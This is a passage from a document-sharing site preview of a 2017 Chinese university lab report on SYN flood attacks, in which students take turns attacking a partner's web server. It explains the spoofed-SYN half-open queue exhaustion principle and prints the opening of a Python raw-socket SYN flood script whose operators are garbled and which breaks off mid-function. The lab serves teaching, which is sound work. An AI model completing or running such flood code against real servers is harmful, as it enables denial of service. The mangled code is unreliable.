2017科研实验报告.docVIP

  1. 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
  2. 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  3. 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
  4. 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
  5. 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们
  6. 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
  7. 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
2017科研实验报告

实验五 分析SYN FLOOd攻击原理 一、实验内容 通过分小组实施SYN FLood攻击,掌握分布式拒绝服务攻击原理。 二、实验目的和要求 实验目的 本实验的教学目的是熟悉SYN flood的攻击原理与过程,及IPv4所存在的固有缺陷。 实验要求 本实验的基本要求:学生在实验课前分小组准备,每组分角色确定实施攻击者和被攻击者,熟悉SYN flood的攻击原理与过程,观察攻击现象。 三、实验设备(软、硬件) 硬件:性能较强的PC机 软件:Windows NT操作系统 四,实验设计方案; 1两个人一组,其中一人为攻击方,一人为被攻击方,被攻击方有一台web服务器,攻击方攻击对方得web服务器, 2,附syn-flood攻击得源码,注意攻击 ip地址要做改动 五,实验原理 在SYN Flood攻击中,黑客机器向受害主机发送大量伪造源地址的TCP SYN报文,受害主机分配必要的资源,然后向源地址返回SYN+ACK包,并等待源端返回ACK包由于源地址是伪造的,所以源端永远都不会返回ACK报文,受害主机继续发送SYN+ACK包,并将半连接放入端口的积压队列中,虽然一般的主机都有超时机制和默认的重传次数,但是由于端口的半连接队列的长度是有限的,如果不断的向受害主机发送大量的TCP SYN报文,半连接队列就会很快填满,服务器拒绝新的连接,将导致该端口无法响应其他机器进行的连接请求,最终使受害主机的资源耗尽。 开启三个终端 然而,python代码并不能很好的攻击,因为python语言比c和java等离机器语言更远,大概运行速度是c的1/30倍,后来经试验发现运行任何Python所占用cpu在23左右。 于是接下来采用c语言,python代码如下: #!/usr/bin/python #-*-coding:utf-8-*- import socket import struct import random import threading class myThread (threading.Thread): #创建一个进程的方法 def __init__(self,dstip,dstport,mode): threading.Thread.__init__(self) self.dstip = dstip self.dstport =dstport self.mode =mode def run(self): attack(self.dstip,self.dstport,self.mode) def checksum(data): #检验和计算 s = 0 n = len(data) % 2 for i in range(0, len(data)-n, 2): s+= ord(data[i]) + (ord(data[i+1]) 8) if n: s+= ord(data[i+1]) while (s 16): s = (s 0xFFFF) + (s 16) s = ~s 0xffff return s def IP(source,destination,udplen): #创建一个ip数据包头 version = 4 ihl = 5 tos = 0 tl = 20+udplen ip_id = random.randint(1,65535) flags = 0 offset = 0 ttl = 128 protocol =6 check =0 source = socket.inet_aton(source) destination = socket.inet_aton(destination) ver_ihl = (version 4)+ihl flags_offset = (flags 13)+offset ip_header = struct.pack(!BBHHHBBH4s4s, ver_ihl, tos, tl, ip_id,

文档评论(0)

celkhn5460 + 关注
实名认证
文档贡献者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档